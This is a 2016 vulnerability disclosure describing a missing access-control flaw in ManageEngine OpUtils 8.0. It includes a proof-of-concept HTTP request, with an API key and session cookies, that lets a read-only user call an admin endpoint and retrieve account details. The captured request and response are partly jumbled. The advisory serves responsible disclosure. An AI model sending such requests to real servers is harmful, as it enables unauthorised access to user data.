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Missing Function Level Access control Vulnerability in OPutils



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Missing Function Level Access control Vulnerability in OPutils
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. contents:: Table Of Content

Overview
========

Title:- Missing Function Level Access control Vulnerability in ManageEngine OpUtils
Author: Kaustubh G. Padwad
Vendor: ZOHO Corp
Product: OPUTILS
Tested Version: : OPUTILS 8.0
Severity: Medium

Advisory ID
============
2016-06-Manage_Engine


About the Product:
==================
OpUtils is a Switch Port & IP Address Management software that helps network engineers manage their Switches and IP Address Space with ease. With its comprehensive set of 30+ tools, it helps them to perform network monitoring tasks like detecting a rogue device intrusion, keep a check on bandwidth usage, monitoring availability of critical devices, backing up Cisco configuration files and more.


Description: 
============

This Missing Function Level Access Control vulnerability enables an Normal user to execute the Adinisitative Task. 

Vulnerability Class:
====================
2013-A7-Missing Function Level Access Control https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control


How to Reproduce: (POC):
========================

* Get The administrative Task URL from either demo site or download locally

* Now Login With Normal User

* Paste the below requst or any other for Ex. http://IP-OF-Server:7080/oputilsapi/admin?v=1&format=json&key=375e0fa0-0bb3-479c-a646-debb90a1f5f0&operation=GET_USER_DETAILS

POC
====

Burp Requst 
-----------
GET /oputilsapi/admin?v=1&format=json&key=375e0fa0-0bb3-479c-a646-debb90a1f5f0&operation=GET_USER_DETAILS HTTP/1.1

Host: 192.168.1.10:7080

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.5.0

Accept: */*

Accept-Language: en-US,en;q=0.5



Response
--------


HTTP/1.1 200 OK
erver: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 589

Date: Thu, 04 Feb 2016 14:28:25 GMT



{"result":[{"ad-domain-name":"","user-name":"admin","account-created-time":"30 Jan 16, 12:20 AM","Action":"","user-contactinfo-id":"1","user-role":"Administrator","user-description":"--","user-phone-number":"","user-email":"","user-id":"1","ad-domain-id":"","user-login-id":"1"},{"ad-domain-name":"","user-name":"kk","account-created-time":"30 Jan 16, 12:23 AM","Action":"","user-contactinfo-id":"2","user-role":"Read Only User","user-description":"--","user-phone-number":"","user-email":"","user-id":"2","ad-domain-id":"","user-login-id":"2"}],"input":"{userId=null}","status":"Success"}
Server: Apache-Coyote/1.1

Access-Control-Allow-Origin: *

Access-Control-Allow-Methods: GET,POST

Access-Control-Max-Age: 5000

Content-Type: application/json;charset=UTF-8

Date: Sat, 30 Jan 2016 21:39:03 GMT

Content-Length: 19



{"resolved":true}

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Referer: http://192.168.1.10:7080/apiclient/ember/index.jsp

Cookie: OPUTILSJSESSIONID=C256E5B41CC23B33ACF94D206E243FB2; JSESSIONID=B59D8FD4B17DB7200A991299F4034DF1; OPUTILSJSESSIONIDSSO=28A377BA0B7D0C6E21D1E2B3A3E4A371

Connection: keep-alive

Mitigation
==========
Upgrade to NextService Pack

Disclosure: 
===========
04-Feb-2016 Repoerted to vendor
11-Feb-2016 Fixed By Vendor

credits:
========
* Kaustubh Padwad
* Information Security Researcher
* kingkaustubh@xxxxxx
* https://twitter.com/s3curityb3ast
* http://breakthesec.com
* https://www.linkedin.com/in/kaustubhpadwad